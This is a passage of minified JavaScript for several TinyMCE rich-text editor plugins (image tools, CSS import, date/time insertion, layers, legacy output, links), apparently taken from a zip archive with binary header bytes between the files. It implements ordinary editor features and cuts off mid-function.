Handle"}],E=["top","right","bottom","left"],h(u),k=r.extend({toggleVisibility:v,setClampRect:w,setRect:y,getInnerRect:m,setInnerRect:C,setViewPortRect:x,destroy:N},i)}}),a("j",["s","t","u","5","3","v"],function(e,t,n,r,i,o){function
a(e){return new i(function(t){function
n(){e.removeEventListener("load",n),t(e)}e.complete?t(e):e.addEventListener("load",n)})}return
e.extend({Defaults:{classes:"imagepanel"},selection:function(e){return
arguments.length?(this.state.set("rect",e),this):this.state.get("rect")},imageSize:function(){var
e=this.state.get("viewRect");return{w:e.w,h:e.h}},toggleCropRect:function(e){this.state.set("cropEnabled",e)},imageSrc:function(e){var
t=this,r=new Image;r.src=e,a(r).then(function(){var
e,i,o=t.state.get("viewRect");if(i=t.$el.find("img"),i[0])i.replaceWith(r);else{var
a=document.createElement("div");a.className="mce-imagepanel-bg",t.getEl().appendChild(a),t.getEl().appendChild(r)}e={x:0,y:0,w:r.naturalWidth,h:r.naturalHeight},t.state.set("viewRect",e),t.state.set("rect",n.inflate(e,-20,-20)),o&&o.w==e.w&&o.h==e.h||t.zoomFit(),t.repaintImage(),t.fire("load")})},zoom:function(e){return
arguments.length?(this.state.set("zoom",e),this):this.state.get("zoom")},postRender:function(){return
this.imageSrc(this.settings.imageSrc),this._super()},zoomFit:function(){var
e,t,n,r,i,o,a,s=this;a=10,e=s.$el.find("img"),t=s.getEl().clientWidth,n=s.getEl().clientHeight,r=e[0].naturalWidth,i=e[0].naturalHeight,o=Math.min((t-a)/r,(n-a)/i),o>=1&&(o=1),s.zoom(o)},repaintImage:function(){var
e,t,n,r,i,o,a,s,l,c,u;u=this.getEl(),l=this.zoom(),c=this.state.get("rect"),a=this.$el.find("img"),s=this.$el.find(".mce-imagepanel-bg"),i=u.offsetWidth,o=u.offsetHeight,n=a[0].naturalWidth*l,r=a[0].naturalHeight*l,e=Math.max(0,i/2-n/2),t=Math.max(0,o/2-r/2),a.css({left:e,top:t,width:n,height:r}),s.css({left:e,top:t,width:n,height:r}),this.cropRect&&(this.cropRect.setRect({x:c.x*l+e,y:c.y*l+t,w:c.w*l,h:c.h*l}),this.cropRect.setClampRect({x:e,y:t,w:n,h:r}),this.cropRect.setViewPortRect({x:0,y:0,w:i,h:o}))},bindStates:function(){function
e(e){t.cropRect=new
o(e,t.state.get("viewRect"),t.state.get("viewRect"),t.getEl(),function(){t.fire("crop")}),t.cropRect.on("updateRect",function(e){var
n=e.rect,r=t.zoom();n={x:Math.round(n.x/r),y:Math.round(n.y/r),w:Math.round(n.w/r),h:Math.round(n.h/r)},t.state.set("rect",n)}),t.on("remove",t.cropRect.destroy)}var
t=this;t.state.on("change:cropEnabled",function(e){t.cropRect.toggleVisibility(e.value),t.repaintImage()}),t.state.on("change:zoom",function(){t.repaintImage()}),t.state.on("change:rect",function(n){var
r=n.value;t.cropRect||e(r),t.cropRect.setRect(r)})}})}),a("k",[],function(){return
function(){function e(e){var t;return
t=o.splice(++a),o.push(e),{state:e,removed:t}}function t(){if(r())return
o[--a]}function n(){if(i())return o[++a]}function r(){return
a>0}function i(){return a!=-1&&a<o.length-1}var
o=[],a=-1;return{data:o,add:e,undo:t,redo:n,canUndo:r,canRedo:i}}}),a("9",["f","5","3","g","h","i","j","7","8","k"],function(e,t,n,r,i,o,a,s,l,c){function
u(e){return{blob:e,url:URL.createObjectURL(e)}}function
d(e){e&&URL.revokeObjectURL(e.url)}function
f(e){t.each(e,d)}function p(n,l,p){function m(e){var
t,n,r,i;t=O.find("#w")[0],n=O.find("#h")[0],r=parseInt(t.value(),10),i=parseInt(n.value(),10),O.find("#constrain")[0].checked()&&ae&&se&&r&&i&&("w"==e.control.settings.name?(i=Math.round(r*le),n.value(i)):(r=Math.round(i*ce),t.value(r))),ae=r,se=i}function
g(e){return Math.round(100*e)+"%"}function
h(){O.find("#undo").disabled(!ue.canUndo()),O.find("#redo").disabled(!ue.canRedo()),O.statusbar.find("#save").disabled(!ue.canUndo())}function
v(){O.find("#undo").disabled(!0),O.find("#redo").disabled(!0)}function
b(e){e&&$.imageSrc(e.url)}function y(e){return function(){var
n=t.grep(oe,function(t){return
t.settings.name!=e});t.each(n,function(e){e.hide()}),e.show(),e.focus()}}function
x(e){z=u(e),b(z)}function
C(e){n=u(e),b(n),f(ue.add(n).removed),h()}function w(){var
e=$.selection();s.crop(n.blob,e.x,e.y,e.w,e.h).then(function(e){C(e),S()})}function
N(e){var t=[].slice.call(arguments,1);return function(){var
r=z||n;e.apply(this,[r.blob].concat(t)).then(x)}}function k(e){var
t=[].slice.call(arguments,1);return
function(){e.apply(this,[n.blob].concat(t)).then(C)}}function
S(){b(n),d(z),y(H)(),h()}function _(){z&&(C(z.blob),S())}function
E(){var e=$.zoom();e<2&&(e+=.1),$.zoom(e)}function T(){var
e=$.zoom();e>.1&&(e-=.1),$.zoom(e)}function
R(){n=ue.undo(),b(n),h()}function A(){n=ue.redo(),b(n),h()}function
B(){l(n.blob),O.close()}function P(e){return new
i({layout:"flex",direction:"row",labelGap:5,border:"0
0 1
0",align:"center",pack:"center",padding:"0 10
0
10",spacing:5,flex:0,minHeight:60,defaults:{classes:"imagetool",type:"button"},items:e})}function
D(e,t){return
P([{text:"Back",onclick:S},{type:"spacer",flex:1},{text:"Apply",subtype:"primary",onclick:_}]).hide().on("show",function(){v(),t(n.blob).then(function(e){var
t=u(e);b(t),d(z),z=t})})}function M(e,t,r,i,o){function
a(e){t(n.blob,e).then(function(e){var t=u(e);b(t),d(z),z=t})}return
P([{text:"Back",onclick:S},{type:"spacer",flex:1},{type:"slider",flex:1,ondragend:function(e){a(e.value)},minValue:i,maxValue:o,value:r,previewFilter:g},{type:"spacer",flex:1},{text:"Apply",subtype:"primary",onclick:_}]).hide().on("show",function(){this.find("slider").value(r),v()})}function
L(e,t){function r(){var
e,r,i;e=O.find("#r")[0].value(),r=O.find("#g")[0].value(),i=O.find("#b")[0].value(),t(n.blob,e,r,i).then(function(e){var
t=u(e);b(t),d(z),z=t})}return
P([{text:"Back",onclick:S},{type:"spacer",flex:1},{type:"slider",label:"R",name:"r",minValue:0,value:1,maxValue:2,ondragend:r,previewFilter:g},{type:"slider",label:"G",name:"g",minValue:0,value:1,maxValue:2,ondragend:r,previewFilter:g},{type:"slider",label:"B",name:"b",minValue:0,value:1,maxValue:2,ondragend:r,previewFilter:g},{type:"spacer",flex:1},{text:"Apply",subtype:"primary",onclick:_}]).hide().on("show",function(){O.find("#r,#g,#b").value(1),v()})}function
I(e){e.control.value()===!0&&(le=se/ae,ce=ae/se)}var
O,H,F,z,W,U,V,$,j,q,Y,X,K,G,J,Z,Q,ee,te,ne,re,ie,oe,ae,se,le,ce,ue=new
c;W=P([{text:"Back",onclick:S},{type:"spacer",flex:1},{text:"Apply",subtype:"primary",onclick:w}]).hide().on("show
hide",function(e){$.toggleCropRect("show"==e.type)}).on("show",v),U=P([{text:"Back",onclick:S},{type:"spacer",flex:1},{type:"textbox",name:"w",label:"Width",size:4,onkeyup:m},{type:"textbox",name:"h",label:"Height",size:4,onkeyup:m},{type:"checkbox",name:"constrain",text:"Constrain
proportions",checked:!0,onchange:I},{type:"spacer",flex:1},{text:"Apply",subtype:"primary",onclick:"submit"}]).hide().on("submit",function(e){var
t=parseInt(O.find("#w").value(),10),n=parseInt(O.find("#h").value(),10);e.preventDefault(),k(s.resize,t,n)(),S()}).on("show",v),V=P([{text:"Back",onclick:S},{type:"spacer",flex:1},{icon:"fliph",tooltip:"Flip
horizontally",onclick:N(s.flip,"h")},{icon:"flipv",tooltip:"Flip
vertically",onclick:N(s.flip,"v")},{icon:"rotateleft",tooltip:"Rotate
counterclockwise",onclick:N(s.rotate,-90)},{icon:"rotateright",tooltip:"Rotate
clockwise",onclick:N(s.rotate,90)},{type:"spacer",flex:1},{text:"Apply",subtype:"primary",onclick:_}]).hide().on("show",v),Y=D("Invert",s.invert),te=D("Sharpen",s.sharpen),ne=D("Emboss",s.emboss),X=M("Brightness",s.brightness,0,-1,1),K=M("Hue",s.hue,180,0,360),G=M("Saturate",s.saturate,0,-1,1),J=M("Contrast",s.contrast,0,-1,1),Z=M("Grayscale",s.grayscale,0,0,1),Q=M("Sepia",s.sepia,0,0,1),ee=L("Colorize",s.colorize),re=M("Gamma",s.gamma,0,-1,1),ie=M("Exposure",s.exposure,1,0,2),F=P([{text:"Back",onclick:S},{type:"spacer",flex:1},{text:"hue",icon:"hue",onclick:y(K)},{text:"saturate",icon:"saturate",onclick:y(G)},{text:"sepia",icon:"sepia",onclick:y(Q)},{text:"emboss",icon:"emboss",onclick:y(ne)},{text:"exposure",icon:"exposure",onclick:y(ie)},{type:"spacer",flex:1}]).hide(),H=P([{tooltip:"Crop",icon:"crop",onclick:y(W)},{tooltip:"Resize",icon:"resize2",onclick:y(U)},{tooltip:"Orientation",icon:"orientation",onclick:y(V)},{tooltip:"Brightness",icon:"sun",onclick:y(X)},{tooltip:"Sharpen",icon:"sharpen",onclick:y(te)},{tooltip:"Contrast",icon:"contrast",onclick:y(J)},{tooltip:"Color
levels",icon:"drop",onclick:y(ee)},{tooltip:"Gamma",icon:"gamma",onclick:y(re)},{tooltip:"Invert",icon:"invert",onclick:y(Y)}]),$=new
a({flex:1,imageSrc:n.url}),j=new
o({layout:"flex",direction:"column",border:"0 1 0
0",padding:5,spacing:5,items:[{type:"button",icon:"undo",tooltip:"Undo",name:"undo",onclick:R},{type:"button",icon:"redo",tooltip:"Redo",name:"redo",onclick:A},{type:"button",icon:"zoomin",tooltip:"Zoom
in",onclick:E},{type:"button",icon:"zoomout",tooltip:"Zoom
out",onclick:T}]}),q=new
o({type:"container",layout:"flex",direction:"row",align:"stretch",flex:1,items:[j,$]}),oe=[H,W,U,V,F,Y,X,K,G,J,Z,Q,ee,te,ne,re,ie],O=r.create("window",{layout:"flex",direction:"column",align:"stretch",minWidth:Math.min(e.DOM.getViewPort().w,800),minHeight:Math.min(e.DOM.getViewPort().h,650),title:"Edit
image",items:oe.concat([q]),buttons:[{text:"Save",name:"save",subtype:"primary",onclick:B},{text:"Cancel",onclick:"close"}]}),O.renderTo(document.body).reflow(),O.on("close",function(){p(),f(ue.data),ue=null,z=null}),ue.add(n),h(),$.on("load",function(){ae=$.imageSize().w,se=$.imageSize().h,le=se/ae,ce=ae/se,O.find("#w").value(ae),O.find("#h").value(se)}),$.on("crop",w)}function
m(e){return new
n(function(t,n){p(u(e),t,n)})}return{edit:m}}),a("a",[],function(){function
e(e){function t(e){return/^[0-9\.]+px$/.test(e)}var n,r;return
n=e.style.width,r=e.style.height,n||r?t(n)&&t(r)?{w:parseInt(n,10),h:parseInt(r,10)}:null:(n=e.width,r=e.height,n&&r?{w:parseInt(n,10),h:parseInt(r,10)}:null)}function
t(e,t){var
n,r;t&&(n=e.style.width,r=e.style.height,(n||r)&&(e.style.width=t.w+"px",e.style.height=t.h+"px",e.removeAttribute("data-mce-style")),n=e.width,r=e.height,(n||r)&&(e.setAttribute("width",t.w),e.setAttribute("height",t.h)))}function
n(e){return{w:e.naturalWidth,h:e.naturalHeight}}return{getImageSize:e,setImageSize:t,getNaturalImageSize:n}}),a("l",["3","5"],function(e,t){var
n=function(e){return null!==e&&void 0!==e},r=function(e,t){var
r;return r=t.reduce(function(e,t){return n(e)?e[t]:void
0},e),n(r)?r:null},i=function(n,r){return new e(function(e){var i;i=new
XMLHttpRequest,i.onreadystatechange=function(){4===i.readyState&&e({status:i.status,blob:this.response})},i.open("GET",n,!0),t.each(r,function(e,t){i.setRequestHeader(t,e)}),i.responseType="blob",i.send()})},o=function(t){return
new e(function(e){var n=new FileReader;n.onload=function(t){var
n=t.target;e(n.result)},n.readAsText(t)})},a=function(e){var
t;try{t=JSON.parse(e)}catch(e){}return
t};return{traverse:r,readBlob:o,requestUrlAsBlob:i,parseJson:a}}),a("b",["3","5","l"],function(e,t,n){function
r(t){return n.requestUrlAsBlob(t,{}).then(function(t){return
t.status>=400?o(t.status):e.resolve(t.blob)})}var i=function(e){return
400===e||403===e||500===e},o=function(t){return e.reject("ImageProxy
HTTP error: "+t)},a=function(t){e.reject("ImageProxy Service
error: "+t)},s=function(e,t){return n.readBlob(t).then(function(e){var
t=n.parseJson(e),r=n.traverse(t,["error","type"]);return
a(r?r:"Invalid JSON")})},l=function(e,t){return
i(e)?s(e,t):o(e)},c=function(t,r){return
n.requestUrlAsBlob(t,{"Content-Type":"application/json;charset=UTF-8","tiny-api-key":r}).then(function(t){return
t.status>=400?l(t.status,t.blob):e.resolve(t.blob)})},u=function(e,t){return
t?c(e,t):r(e)};return{getUrl:u}}),a("0",["1","2","3","4","5","6","7","8","9","a","b"],function(e,t,n,r,i,o,a,s,l,c,u){var
d=function(e){function
d(t){e.notificationManager.open({text:t,type:"error"})}function
f(){return e.selection.getNode()}function p(t){var
n=t.match(/\/([^\/\?]+)?\.(?:jpeg|jpg|png|gif)(?:\?|$)/i);return
n?e.dom.encode(n[1]):null}function
m(){return"imagetools"+D++}function g(t){var n=t.src;return
0===n.indexOf("data:")||0===n.indexOf("blob:")||new
r(n).host===e.documentBaseURI.host}function h(t){return
i.inArray(e.settings.imagetools_cors_hosts,new r(t.src).host)!==-1}function
v(){return e.settings.api_key||e.settings.imagetools_api_key}function
b(t){var n,r=t.src;return
h(t)?u.getUrl(t.src,null):g(t)?s.imageToBlob(t):(r=e.settings.imagetools_proxy,r+=(r.indexOf("?")===-1?"?":"&")+"url="+encodeURIComponent(t.src),n=v(),u.getUrl(r,n))}function
y(){var t;return
t=e.editorUpload.blobCache.getByUri(f().src),t?t.blob():b(f())}function
x(){B=o.setEditorTimeout(e,function(){e.editorUpload.uploadImagesAuto()},e.settings.images_upload_timeout||3e4)}function
C(){clearTimeout(B)}function w(t,n){return
s.blobToDataUri(t).then(function(i){var o,a,s,l,c,u;return
u=f(),l=e.editorUpload.blobCache,c=l.getByUri(u.src),s=r.parseDataUri(i).data,o=m(),e.settings.images_reuse_filename&&(a=c?c.filename():p(u.src)),c=l.create(o,t,s,a),l.add(c),e.undoManager.transact(function(){function
t(){e.$(u).off("load",t),e.nodeChanged(),n?e.editorUpload.uploadImagesAuto():(C(),x())}e.$(u).on("load",t),e.$(u).attr({src:c.blobUri()}).removeAttr("data-mce-src")}),c})}function
N(t){return function(){return
e._scanForImages().then(y).then(t).then(w,d)}}function k(e){return
function(){return N(function(t){var n=c.getImageSize(f());return
n&&c.setImageSize(f(),{w:n.h,h:n.w}),a.rotate(t,e)})()}}function
S(e){return function(){return N(function(t){return
a.flip(t,e)})()}}function _(){var
e=f(),t=c.getNaturalImageSize(e),r=function(r){return new
n(function(n){s.blobToImage(r).then(function(i){var
o=c.getNaturalImageSize(i);t.w==o.w&&t.h==o.h||c.getImageSize(e)&&c.setImageSize(e,o),URL.revokeObjectURL(i.src),n(r)})})},i=function(e){return
l.edit(e).then(r).then(function(e){w(e,!0)},function(){})};e&&b(e).then(i,d)}function
E(){e.addButton("rotateleft",{title:"Rotate
counterclockwise",cmd:"mceImageRotateLeft"}),e.addButton("rotateright",{title:"Rotate
clockwise",cmd:"mceImageRotateRight"}),e.addButton("flipv",{title:"Flip
vertically",cmd:"mceImageFlipVertical"}),e.addButton("fliph",{title:"Flip
horizontally",cmd:"mceImageFlipHorizontal"}),e.addButton("editimage",{title:"Edit
image",cmd:"mceEditImage"}),e.addButton("imageoptions",{title:"Image
options",icon:"options",cmd:"mceImage"})}function
T(){e.on("NodeChange",function(t){P&&P.src!=t.element.src&&(C(),e.editorUpload.uploadImagesAuto(),P=void
0),R(t.element)&&(P=t.element)})}function R(t){var
n=e.dom.is(t,"img:not([data-mce-object],[data-mce-placeholder])");return
n&&(g(t)||h(t)||e.settings.imagetools_proxy)}function A(){var
t=e.settings.imagetools_toolbar;t||(t="rotateleft rotateright | flipv
fliph | crop editimage imageoptions"),e.addContextToolbar(R,t)}var
B,P,D=0;t.fileApi&&(i.each({mceImageRotateLeft:k(-90),mceImageRotateRight:k(90),mceImageFlipVertical:S("v"),mceImageFlipHorizontal:S("h"),mceEditImage:_},function(t,n){e.addCommand(n,t)}),E(),A(),T())};return
e.add("imagetools",d),function(){}}),r("0")()}();PKS��[�f}�
�
'tinymce/plugins/importcss/plugin.min.jsnu�[���tinymce.PluginManager.add("importcss",function(e){function
t(e){var t=tinymce.Env.cacheSuffix;return"string"==typeof
e&&(e=e.replace("?"+t,"").replace("&"+t,"")),e}function
n(t){var
n=e.settings,r=n.skin!==!1&&(n.skin||"lightgray");if(r){var
i=n.skin_url;return
i=i?e.documentBaseURI.toAbsolute(i):tinymce.baseURL+"/skins/"+r,t===i+"/content"+(e.inline?".inline":"")+".min.css"}return!1}function
r(e){return"string"==typeof e?function(t){return
t.indexOf(e)!==-1}:e instanceof RegExp?function(t){return
e.test(t)}:e}function i(r,i){function o(e,r){var
s,l=e.href;if(l=t(l),l&&i(l,r)&&!n(l)){p(e.imports,function(e){o(e,!0)});try{s=e.cssRules||e.rules}catch(e){}p(s,function(e){e.styleSheet?o(e.styleSheet,!0):e.selectorText&&p(e.selectorText.split(","),function(e){a.push(tinymce.trim(e))})})}}var
a=[],s={};p(e.contentCSS,function(e){s[e]=!0}),i||(i=function(e,t){return
t||s[e]});try{p(r.styleSheets,function(e){o(e)})}finally{}return a}function
o(t){var n,r=/^(?:([a-z0-9\-_]+))?(\.[a-z0-9_\-\.]+)$/i.exec(t);if(r){var
i=r[1],o=r[2].substr(1).split(".").join("
"),a=tinymce.makeMap("a,img");return
r[1]?(n={title:t},e.schema.getTextBlockElements()[i]?n.block=i:e.schema.getBlockElements()[i]||a[i.toLowerCase()]?n.selector=i:n.inline=i):r[2]&&(n={inline:"span",title:t.substr(1),classes:o}),e.settings.importcss_merge_classes!==!1?n.classes=o:n.attributes={"class":o},n}}function
a(e,t){return
tinymce.util.Tools.grep(e,function(e){return!e.filter||e.filter(t)})}function
s(e){return tinymce.util.Tools.map(e,function(e){return
tinymce.util.Tools.extend({},e,{original:e,selectors:{},filter:r(e.filter),item:{text:e.title,menu:[]}})})}function
l(e,t){return null===t||e.settings.importcss_exclusive!==!1}function
c(t,n,r){return!(l(e,n)?t in r:t in n.selectors)}function
u(t,n,r){l(e,n)?r[t]=!0:n.selectors[t]=!0}function d(t,n,r){var
i,a=e.settings;return
i=r&&r.selector_converter?r.selector_converter:a.importcss_selector_converter?a.importcss_selector_converter:o,i.call(t,n,r)}var
f=this,p=tinymce.each;e.on("renderFormatsMenu",function(t){var
n=e.settings,o={},l=r(n.importcss_selector_filter),m=t.control,g=s(n.importcss_groups),h=function(t,n){if(c(t,n,o)){u(t,n,o);var
r=d(f,t,n);if(r){var i=r.name||tinymce.DOM.uniqueId();return
e.formatter.register(i,r),tinymce.extend({},m.settings.itemDefaults,{text:r.title,format:i})}}return
null};e.settings.importcss_append||m.items().remove(),p(i(t.doc||e.getDoc(),r(n.importcss_file_filter)),function(e){if(e.indexOf(".mce-")===-1&&(!l||l(e))){var
t=a(g,e);if(t.length>0)tinymce.util.Tools.each(t,function(t){var
n=h(e,t);n&&t.item.menu.push(n)});else{var
n=h(e,null);n&&m.add(n)}}}),p(g,function(e){e.item.menu.length>0&&m.add(e.item)}),t.control.renderNew()}),f.convertSelectorToFormat=o});PKS��[�����,tinymce/plugins/insertdatetime/plugin.min.jsnu�[���tinymce.PluginManager.add("insertdatetime",function(e){function
t(t,n){function r(e,t){if(e=""+e,e.length<t)for(var
n=0;n<t-e.length;n++)e="0"+e;return e}return n=n||new
Date,t=t.replace("%D","%m/%d/%Y"),t=t.replace("%r","%I:%M:%S
%p"),t=t.replace("%Y",""+n.getFullYear()),t=t.replace("%y",""+n.getYear()),t=t.replace("%m",r(n.getMonth()+1,2)),t=t.replace("%d",r(n.getDate(),2)),t=t.replace("%H",""+r(n.getHours(),2)),t=t.replace("%M",""+r(n.getMinutes(),2)),t=t.replace("%S",""+r(n.getSeconds(),2)),t=t.replace("%I",""+((n.getHours()+11)%12+1)),t=t.replace("%p",""+(n.getHours()<12?"AM":"PM")),t=t.replace("%B",""+e.translate(l[n.getMonth()])),t=t.replace("%b",""+e.translate(s[n.getMonth()])),t=t.replace("%A",""+e.translate(a[n.getDay()])),t=t.replace("%a",""+e.translate(o[n.getDay()])),t=t.replace("%%","%")}function
n(n){var r=t(n);if(e.settings.insertdatetime_element){var
i;i=t(/%[HMSIp]/.test(n)?"%Y-%m-%dT%H:%M":"%Y-%m-%d"),r='<time
datetime="'+i+'">'+r+"</time>";var
o=e.dom.getParent(e.selection.getStart(),"time");if(o)return void
e.dom.setOuterHTML(o,r)}e.insertContent(r)}var r,i,o="Sun Mon Tue Wed
Thu Fri Sat Sun".split(" "),a="Sunday Monday Tuesday
Wednesday Thursday Friday Saturday Sunday".split("
"),s="Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov
Dec".split(" "),l="January February March April May
June July August September October November December".split("
"),c=[];e.addCommand("mceInsertDate",function(){n(e.getParam("insertdatetime_dateformat",e.translate("%Y-%m-%d")))}),e.addCommand("mceInsertTime",function(){n(e.getParam("insertdatetime_timeformat",e.translate("%H:%M:%S")))}),e.addButton("insertdatetime",{type:"splitbutton",title:"Insert
date/time",onclick:function(){n(r||i)},menu:c}),tinymce.each(e.settings.insertdatetime_formats||["%H:%M:%S","%Y-%m-%d","%I:%M:%S
%p","%D"],function(e){i||(i=e),c.push({text:t(e),onclick:function(){r=e,n(e)}})}),e.addMenuItem("insertdatetime",{icon:"date",text:"Date/time",menu:c,context:"insert"})});PKS��[W��3''#tinymce/plugins/layer/plugin.min.jsnu�[���tinymce.PluginManager.add("layer",function(a){function
b(a){do
if(a.className&&a.className.indexOf("mceItemLayer")!=-1)return
a;while(a=a.parentNode)}function c(b){var
c=a.dom;tinymce.each(c.select("div,p",b),function(a){/^(absolute|relative|fixed)$/i.test(a.style.position)&&(a.hasVisual?c.addClass(a,"mceItemVisualAid"):c.removeClass(a,"mceItemVisualAid"),c.addClass(a,"mceItemLayer"))})}function
d(c){var
d,e,f=[],g=b(a.selection.getNode()),h=-1,i=-1;for(e=[],tinymce.walk(a.getBody(),function(a){1==a.nodeType&&/^(absolute|relative|static)$/i.test(a.style.position)&&e.push(a)},"childNodes"),d=0;d<e.length;d++)f[d]=e[d].style.zIndex?parseInt(e[d].style.zIndex,10):0,h<0&&e[d]==g&&(h=d);if(c<0){for(d=0;d<f.length;d++)if(f[d]<f[h]){i=d;break}i>-1?(e[h].style.zIndex=f[i],e[i].style.zIndex=f[h]):f[h]>0&&(e[h].style.zIndex=f[h]-1)}else{for(d=0;d<f.length;d++)if(f[d]>f[h]){i=d;break}i>-1?(e[h].style.zIndex=f[i],e[i].style.zIndex=f[h]):e[h].style.zIndex=f[h]+1}a.execCommand("mceRepaint")}function
e(){var
b=a.dom,c=b.getPos(b.getParent(a.selection.getNode(),"*")),d=a.getBody();a.dom.add(d,"div",{style:{position:"absolute",left:c.x,top:c.y>20?c.y:20,width:100,height:100},class:"mceItemVisualAid
mceItemLayer"},a.selection.getContent()||a.getLang("layer.content")),tinymce.Env.ie&&b.setHTML(d,d.innerHTML)}function
f(){var
c=b(a.selection.getNode());c||(c=a.dom.getParent(a.selection.getNode(),"DIV,P,IMG")),c&&("absolute"==c.style.position.toLowerCase()?(a.dom.setStyles(c,{position:"",left:"",top:"",width:"",height:""}),a.dom.removeClass(c,"mceItemVisualAid"),a.dom.removeClass(c,"mceItemLayer")):(c.style.left||(c.style.left="20px"),c.style.top||(c.style.top="20px"),c.style.width||(c.style.width=c.width?c.width+"px":"100px"),c.style.height||(c.style.height=c.height?c.height+"px":"100px"),c.style.position="absolute",a.dom.setAttrib(c,"data-mce-style",""),a.addVisual(a.getBody())),a.execCommand("mceRepaint"),a.nodeChanged())}a.addCommand("mceInsertLayer",e),a.addCommand("mceMoveForward",function(){d(1)}),a.addCommand("mceMoveBackward",function(){d(-1)}),a.addCommand("mceMakeAbsolute",function(){f()}),a.addButton("moveforward",{title:"layer.forward_desc",cmd:"mceMoveForward"}),a.addButton("movebackward",{title:"layer.backward_desc",cmd:"mceMoveBackward"}),a.addButton("absolute",{title:"layer.absolute_desc",cmd:"mceMakeAbsolute"}),a.addButton("insertlayer",{title:"layer.insertlayer_desc",cmd:"mceInsertLayer"}),a.on("init",function(){tinymce.Env.ie&&a.getDoc().execCommand("2D-Position",!1,!0)}),a.on("mouseup",function(c){var
d=b(c.target);d&&a.dom.setAttrib(d,"data-mce-style","")}),a.on("mousedown",function(c){var
d,e=c.target,f=a.getDoc();tinymce.Env.gecko&&(b(e)?"on"!==f.designMode&&(f.designMode="on",e=f.body,d=e.parentNode,d.removeChild(e),d.appendChild(e)):"on"==f.designMode&&(f.designMode="off"))}),a.on("NodeChange",c)});PKS��[>Y���*tinymce/plugins/legacyoutput/plugin.min.jsnu�[���!function(e){e.PluginManager.add("legacyoutput",function(t,n,r){t.settings.inline_styles=!1,t.on("init",function(){var
n="p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img",r=e.explode(t.settings.font_size_style_values),i=t.schema;t.formatter.register({alignleft:{selector:n,attributes:{align:"left"}},aligncenter:{selector:n,attributes:{align:"center"}},alignright:{selector:n,attributes:{align:"right"}},alignjustify:{selector:n,attributes:{align:"justify"}},bold:[{inline:"b",remove:"all"},{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}}],italic:[{inline:"i",remove:"all"},{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}}],underline:[{inline:"u",remove:"all"},{inline:"span",styles:{textDecoration:"underline"},exact:!0}],strikethrough:[{inline:"strike",remove:"all"},{inline:"span",styles:{textDecoration:"line-through"},exact:!0}],fontname:{inline:"font",attributes:{face:"%value"}},fontsize:{inline:"font",attributes:{size:function(t){return
e.inArray(r,t.value)+1}}},forecolor:{inline:"font",attributes:{color:"%value"}},hilitecolor:{inline:"font",styles:{backgroundColor:"%value"}}}),e.each("b,i,u,strike".split(","),function(e){i.addValidElements(e+"[*]")}),i.getElementRule("font")||i.addValidElements("font[face|size|color|style]"),e.each(n.split(","),function(e){var
t=i.getElementRule(e);t&&(t.attributes.align||(t.attributes.align={},t.attributesOrder.push("align")))})}),t.addButton("fontsizeselect",function(){var
e=[],n="8pt=1 10pt=2 12pt=3 14pt=4 18pt=5 24pt=6
36pt=7",r=t.settings.fontsize_formats||n;return
t.$.each(r.split(" "),function(t,n){var
r=n,i=n,o=n.split("=");o.length>1&&(r=o[0],i=o[1]),e.push({text:r,value:i})}),{type:"listbox",text:"Font
Sizes",tooltip:"Font
Sizes",values:e,fixedWidth:!0,onPostRender:function(){var
e=this;t.on("NodeChange",function(){var
n;n=t.dom.getParent(t.selection.getNode(),"font"),n?e.value(n.size):e.value("")})},onclick:function(e){e.control.settings.value&&t.execCommand("FontSize",!1,e.control.settings.value)}}}),t.addButton("fontselect",function(){function
e(e){e=e.replace(/;$/,"").split(";");for(var
t=e.length;t--;)e[t]=e[t].split("=");return e}var n="Andale
Mono=andale mono,monospace;Arial=arial,helvetica,sans-serif;Arial
Black=arial black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic
Sans MS=comic sans ms,sans-serif;Courier New=courier
new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times
New Roman=times new roman,times,serif;Trebuchet MS=trebuchet
ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf
dingbats",i=[],o=e(t.settings.font_formats||n);return
r.each(o,function(e,t){i.push({text:{raw:t[0]},value:t[1],textStyle:t[1].indexOf("dings")==-1?"font-family:"+t[1]:""})}),{type:"listbox",text:"Font
Family",tooltip:"Font
Family",values:i,fixedWidth:!0,onPostRender:function(){var
e=this;t.on("NodeChange",function(){var
n;n=t.dom.getParent(t.selection.getNode(),"font"),n?e.value(n.face):e.value("")})},onselect:function(e){e.control.settings.value&&t.execCommand("FontName",!1,e.control.settings.value)}}})})}(tinymce);PKS��[�ѩbRR"tinymce/plugins/link/plugin.min.jsnu�[���tinymce.PluginManager.add("link",function(e){function
t(e){return e&&"A"===e.nodeName&&e.href}function
n(e){return tinymce.util.Tools.grep(e,t).length>0}function r(t){return
e.dom.getParent(t,"a[href]")}function i(){return
r(e.selection.getStart())}function o(e){var
t=e.getAttribute("data-mce-href");return
t?t:e.getAttribute("href")}function a(){var
t=e.plugins.contextmenu;return!!t&&t.isContextMenuVisible()}function
s(n){var
r,i,o;return!!(e.settings.link_context_toolbar&&!a()&&t(n)&&(r=e.selection,i=r.getRng(),o=i.startContainer,3==o.nodeType&&r.isCollapsed()&&i.startOffset>0&&i.startOffset<o.data.length))}function
l(e,t){document.body.appendChild(e),e.dispatchEvent(t),document.body.removeChild(e)}function
c(e){if(!tinymce.Env.ie||tinymce.Env.ie>10){var
t=document.createElement("a");t.target="_blank",t.href=e,t.rel="noreferrer
noopener";var
n=document.createEvent("MouseEvents");n.initMouseEvent("click",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),l(t,n)}else{var
r=window.open("","_blank");if(r){r.opener=null;var
i=r.document;i.open(),i.write('<meta http-equiv="refresh"
content="0;
url='+tinymce.DOM.encode(e)+'">'),i.close()}}}function
u(t){if(t){var n=o(t);if(/^#/.test(n)){var
r=e.$(n);r.length&&e.selection.scrollIntoView(r[0],!0)}else
c(t.href)}}function d(){u(i())}function f(){var
t=this,r=function(e){n(e.parents)?t.show():t.hide()};n(e.dom.getParents(e.selection.getStart()))||t.hide(),e.on("nodechange",r),t.on("remove",function(){e.off("nodechange",r)})}function
p(t){return function(){var
